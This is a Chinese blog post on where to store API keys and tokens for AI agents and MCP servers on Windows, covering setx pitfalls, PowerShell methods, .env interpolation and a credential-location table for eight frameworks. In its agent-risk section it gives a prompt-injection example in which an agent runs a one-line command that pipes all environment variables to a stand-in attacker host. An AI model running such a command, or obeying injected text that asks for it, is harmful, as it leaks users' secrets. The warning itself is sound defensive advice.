本文收录于专栏 agent智能体系列 ------ 专栏系统覆盖 AI Agent 的记忆、工具、插件与实战,点击订阅可跟踪后续更新。
你在 Windows 上给 AI 工具喂密钥,token 放哪绕不开:写死配置文件怕泄露,setx 进环境变量程序又读不到,长 token 设完鉴权还失败。这篇给你最小必要地图:三个作用域、四种方法怎么选、setx 的 1024 截断坑、密钥三层方案 ,再把 8 个主流 agent/LLM 框架的 .env 位置一次列全,全部对照官方文档或源码核实。MCP、LLM API key、agent CLI 三类读者通吃。
关键字: Windows 环境变量;setx;PowerShell;注册表;MCP Server;API Key;环境变量插值;信息安全

相关文档
| 文档 | 链接 | 与本文关系 |
|---|---|---|
| setx 官方文档 | [setx | Microsoft Learn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setx "setx | Microsoft Learn") |
| .NET SetEnvironmentVariable | [Environment.SetEnvironmentVariable Method (System) | Microsoft Learn](https://learn.microsoft.com/en-us/dotnet/api/system.environment.setenvironmentvariable "Environment.SetEnvironmentVariable Method (System) | Microsoft Learn") |
| about_Environment_Variables | [about_Environment_Variables - PowerShell | Microsoft Learn](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_environment_variables "about_Environment_Variables - PowerShell | Microsoft Learn") |
| Hermes Agent · MCP | [MCP (Model Context Protocol) | Hermes Agent](https://hermes-agent.nousresearch.com/docs/user-guide/features/mcp "MCP (Model Context Protocol) | Hermes Agent") |
| Hermes · MCP config reference | [MCP Config Reference | Hermes Agent](https://hermes-agent.nousresearch.com/docs/reference/mcp-config-reference "MCP Config Reference | Hermes Agent") |
| Aider · Config with .env | [Config with .env | aider](https://aider.chat/docs/config/dotenv.html "Config with .env | aider") |
| Gemini CLI · Authentication | github.com/google-gemini/gemini-cli docs | .gemini/.env 约定 |
| Claude Code · Settings | Settings files and precedence - Claude Code Docs | settings.json / 凭据存储 |
一、痛点
密钥不想明文进配置文件,决定走环境变量,然后依次撞墙:setx 完当前窗口读不到;重开窗口好了,常驻的 Agent 还是读不到;长 token 设完鉴权失败------值被截断了。而且现在的密钥入口比三年前多得多:MCP Server 要 token,agent CLI(Hermes、Claude Code、Codex、Gemini CLI......)要 LLM API key,SDK 要 OPENAI_API_KEY。好消息是底层规则只有一套:下面第二节到第四节讲 Windows 机制(对所有程序一视同仁),第五、六节讲各框架把密钥放哪。
二、三个作用域
| 作用域 | 存储位置 | 生效范围 | 生命周期 |
|---|---|---|---|
| Process | 当前进程内存 | 仅当前窗口及子进程 | 窗口关即消失 |
| User | 注册表 HKCU\Environment |
当前用户的新进程 | 永久 |
| Machine | 注册表 HKLM\...\Environment |
全机所有用户的新进程 | 永久(部分需重启) |
新进程启动时,Windows 把 Machine + User 两级合并成它的环境块------已启动进程的环境块在启动那一刻就定型了 ,这就是"设完要重开窗口"的全部原因。同名变量 User 覆盖 Machine,进程级覆盖一切;PATH 是特例:两级拼接不覆盖。
三、四种方法与两个必踩的坑
| 方法 | 作用域 | 权限 | 生效时机 |
|---|---|---|---|
setx NAME "val" |
用户 | 普通用户 | 新窗口 |
setx /M NAME "val" |
系统 | 管理员 | 新窗口 |
[Environment]::SetEnvironmentVariable('NAME','val','User') |
三种均可 | 看作用域 | 新窗口 |
$env:NAME='val'(PS)/ set NAME=val(cmd) |
进程 | 普通用户 | 立即,仅本窗口 |
一句话:临时 $env:,永久 setx 或 .NET 方法,批量 PowerShell 循环。
坑一:setx 有 1024 字符上限(官方文档明示)。 超长时 setx 会打一行 WARNING: The data being saved is truncated to 1024 characters. 再把值截断------交互窗口里能看到,但脚本、重定向、CI 日志里这行警告极易被淹没,实际效果等于静默截断,长 JWT 鉴权必挂且极难排查。长值必须用 .NET 方法(无截断):
[Environment]::SetEnvironmentVariable('MY_TOKEN', 'abc123', 'User') # 设(无截断)
[Environment]::GetEnvironmentVariable('MY_TOKEN', 'User') # 读
[Environment]::SetEnvironmentVariable('MY_TOKEN', $null, 'User') # 删(传 $null 才是真删除)
坑二:PATH 永远别用 setx 改。 setx PATH "%PATH%;..." 会把 %SystemRoot% 引用当场展开固化,再叠加 1024 截断,PATH 直接腰斩:
$old = [Environment]::GetEnvironmentVariable('Path', 'User')
[Environment]::SetEnvironmentVariable('Path', "$old;C:\Tools", 'User')
引号规则一条:值一律单引号 ------双引号里 $xxx 会被 PowerShell 展开,token 带 $(JWT 常有)就悄悄变空串。reg add 直接写注册表不广播变更通知,别主动用;GUI(sysdm.cpl)最直观。
四、"设完读不到"速查
| 现象 | 解法 |
|---|---|
| 当前窗口读不到 | 注册表写了但进程环境块定型于启动时;重开窗口或补 $env:MY_TOKEN='...' |
| Agent/IDE 重开还是没有 | 它从旧环境启动(开机自启、托盘常驻);彻底退出再启动,不行注销重登 |
| bat 里 set 完下个脚本就没了 | 正常,set 只影响本进程树;持久用 setx |
补一层机制解释:setx 和 .NET 的 User 写入都会发 WM_SETTINGCHANGE 广播,explorer.exe 响应后更新自己的环境块,由它拉起 的新进程(开始菜单、快捷方式)才拿到新值。托盘常驻进程不重启自己就永远收不到------所以"彻底退出"是硬要求。口诀:注册表是存量真相,进程环境块是启动时快照 。分不清时两处各查一遍(.GetEnvironmentVariable(...,'User') vs $env:MY_TOKEN)。
五、密钥存放的三层方案(MCP / agent / LLM 通用)
5.1 临时测试:进程变量
$env:MY_PLATFORM_TOKEN = 'tok_xxx' # 仅当前窗口,关窗即焚
5.2 长期单机:用户级注册表
[Environment]::SetEnvironmentVariable('MY_PLATFORM_TOKEN', 'tok_xxx', 'User')
同机管理员可读注册表,多人共用账号的机器别放敏感 token。
5.3 推荐:.env 文件 + 配置插值
密钥放 ~/.hermes/.env(不进仓库不进同步),配置文件只写占位符。以 Hermes 为例,${VAR} 和 Cursor 风格 ${env:VAR} 都支持(两种写法等价,从 Cursor/Claude 抄来的 MCP 片段不用改),未设置的变量保留占位符不崩:
# ~/.hermes/.env
MCP_MYTOOLS_API_KEY=tok_xxx
# config.yaml ------ 可放心截图/提交/多机同步
mcp_servers:
my-remote-tools:
url: "http://192.168.1.100:8000/mcp"
headers:
Authorization: "Bearer ${MCP_MYTOOLS_API_KEY}"
stdio 型 server 用 env 字段:
mcp_servers:
github-tools:
command: "npx"
args: ["-y", "@modelcontextprotocol/server-github"]
env:
GITHUB_TOKEN: "${GITHUB_TOKEN}"
换 token 只改 .env 一处;Hermes 的 hermes mcp install 官方就是这个模式(安装时问你要 key,写进 ~/.hermes/.env)。
选型一句话:日常 5.3,快速验证 5.1,只有程序硬性要求读系统变量才落 5.2。
六、各家框架把密钥放在哪:8 框架对照表
第三节是 Windows 的规则,这一节是各框架的落地。同一台机器上你大概率同时装着好几个,每家的位置都不一样:
| 框架 | 密钥文件位置(Windows) | 加载方式 | 来源 |
|---|---|---|---|
| Hermes Agent | ~/.hermes/.env |
启动时读取 + ${VAR} / ${env:VAR} 插值 |
官方文档 |
| Gemini CLI | ~/.gemini/.env(即 %USERPROFILE%\.gemini\.env);项目目录里的 .gemini/.env 向上搜索优先 |
自动加载第一个找到的 | 官方文档 |
| Aider | 依次找:~ → git 仓库根 → 当前目录 → --env-file 指定 |
自动加载,后加载覆盖先加载 | 官方文档 |
| fabric | ~/.config/fabric/.env |
godotenv 自动加载 | 源码 fsdb/db.go |
| Claude Code | 不用 .env 。OAuth/token 存 ~/.claude/.credentials.json(macOS 另加 Keychain);配置在 ~/.claude/settings.json |
CLI 自管 | CHANGELOG 实证 |
| Codex CLI | 不用 .env 。codex login 写 ~/.codex/auth.json($CODEX_HOME 可改),keyring 优先 |
CLI 自管 | 源码 login/src/auth/storage.rs |
| DSH WorkBuddy | 不用 .env 。凭据存 ~/.dsh/.credentials.yaml,配置 ~/.dsh/settings.yaml 用 apiKeyEnv: KEY名 引用凭据里的键名 |
自管凭据库 + 键名引用 | 本机实测 |
| OpenAI 等 SDK | 项目 .env(OPENAI_API_KEY 等) |
SDK 不自动读 ,需 python-dotenv load_dotenv() 或 $env: |
官方 README |
三个规律:
- 独立 agent CLI(Hermes/Gemini/Aider/fabric)几乎都收敛到
~/.env系------好处是集中、可 gitignore、换 key 一处改。 - IDE 型/厂商全家桶(Claude Code/Codex/WorkBuddy)倾向自管凭据文件 (
auth.json/.credentials.yaml),你别手动编辑它,用login命令或设置界面。 - 纯 SDK 最朴素 :只认进程环境变量,
.env是 python-dotenv 的惯例不是 SDK 的功能。
多框架共存的实操建议:同一个 key(比如 OPENAI_API_KEY)被三家读,改了一家的 .env 另外两家不会变------每家文件都要改,或统一放进 5.2 的用户级注册表让它继承。
七、agent 场景要加重的三条注意事项
把环境变量方案从 MCP 搬到 agent,机制不变,风险评估要升级:
1. 泄露面比 MCP Server 大一档。 MCP server 只是 server;agent 是会执行任意代码的 server 。它 spawn 的每个子进程(bash/python/cmd)全量继承环境变量------Hermes 实测会把 .env 整个注入它启动的每个 shell。一旦 agent 被 prompt injection 骗去执行一行 env | curl -X POST attacker.com -d @-,.env 里所有密钥一锅端。真正敏感的 key(生产凭证、能写库的 token)放 Windows 凭据管理器或单独 profile 隔离,.env 只放开发态 key。
2. .env 编辑后同样"不重启不生效"。 和"注册表写了、进程环境块是快照"同根:.env 在 agent 启动那一刻读入,之后改文件,agent 注入给子进程的还是旧值。必须完全重启 agent 本体。排障口诀照用:查 .env 文件内容 vs 查子进程里 $env:VAR 实际值,两处各查一遍。
3. 长 token 的 1024 坑换个位置等你。 LLM 的 sk- key 一般几十字符,撞不到 setx 上限;但 agent 场景常配 OAuth/JWT/service account token (Vertex、Bedrock 临时凭证),轻松超长------你把它从注册表挪进 .env 只是绕开了 setx,如果哪天脚本又 setx 一把,静默截断照样回来。长值永远走 .NET 方法或文件。
八、陷阱速查
| 陷阱 | 规避 |
|---|---|
| setx 值超 1024 字符被截断(仅一行 WARNING,极易漏看) | 长值用 .NET 方法 |
| setx 改 PATH(展开固化 + 截断) | GUI 或 .NET 方法 |
双引号里 $ 被展开 |
单引号包裹 |
setx NAME "" 想删变量 |
留下空值变量;.NET 传 $null 才是真删除 |
setx /M 没提权 |
"拒绝访问",先开管理员窗口 |
cmd set NAME = val 等号带空格 |
cmd 规矩:等号前后不能有空格 |
以为 SDK 会自动读 .env |
openai 等 SDK 不内置 dotenv,要 load_dotenv() |
.env / .credentials.yaml 进了网盘同步或 git |
加入 .gitignore 和同步排除;凭据文件放 ~ 下而非项目内 |
改了一家的 .env,另一家 agent 没生效 |
各框架文件独立,逐家改或统一走用户级注册表 |
把 Claude Code 的 auth.json / WorkBuddy 的 .credentials.yaml 当配置手编 |
厂商自管格式,用 login/设置界面,手编易触发格式崩溃 |
九、边界
环境变量不是保险箱------同机同用户进程都能读,它只是比明文配置好一档,真秘密用 Windows 凭据管理器。setx 的变更广播谁响应、多久响应没有契约,"谁生效了"只能验证不能推断。.env 也一样:它是"明文但位置可控",不是加密------agent 能读到的密钥,就要按"可能被发给任何 API"来对待。
结语
三句话带走:临时 $env:,永久 setx(长值用 .NET 方法),PATH 永远别用 setx 改 ;密钥答案是 .env + 配置插值,8 框架位置对照表直接抄;agent 场景把泄露面按"这个进程会执行任意代码"重估。下一步:把配置里最后一个明文密钥挪进 .env,再把 ~ 下所有 .env / 凭据文件加进同步盘排除列表,十分钟后你会回来谢谢这张陷阱表。
参考来源
- Microsoft Learn · setx:setx | Microsoft Learn
- Microsoft Learn · SetEnvironmentVariable:Environment.SetEnvironmentVariable Method (System) | Microsoft Learn
- Microsoft Learn · about_Environment_Variables:about_Environment_Variables - PowerShell | Microsoft Learn
- Hermes Agent · MCP:MCP (Model Context Protocol) | Hermes Agent
- Hermes Agent · MCP config reference:MCP Config Reference | Hermes Agent
- Aider · Config with .env:Config with .env | aider
- Gemini CLI · Authentication(github.com/google-gemini/gemini-cli · docs/get-started/authentication.mdx)
- Claude Code · Settings & CHANGELOG(code.claude.com;
.credentials.json/ Keychain 修复记录) - OpenAI Codex · docs/authentication.md → developers.openai.com/codex/auth(
auth.json/ keyring) - fabric · internal/plugins/db/fsdb/db.go(
EnvFilePath = FilePath(".env")+ godotenv.Load) - workbuddy-switch · crates/wb-switch-core/src/modules/auth_file.rs(WorkBuddy 认证文件路径三平台定义)
系列导航 :上一篇 MCP Server 生产化三件套 | 专栏全集 agent智能体系列
更多专栏: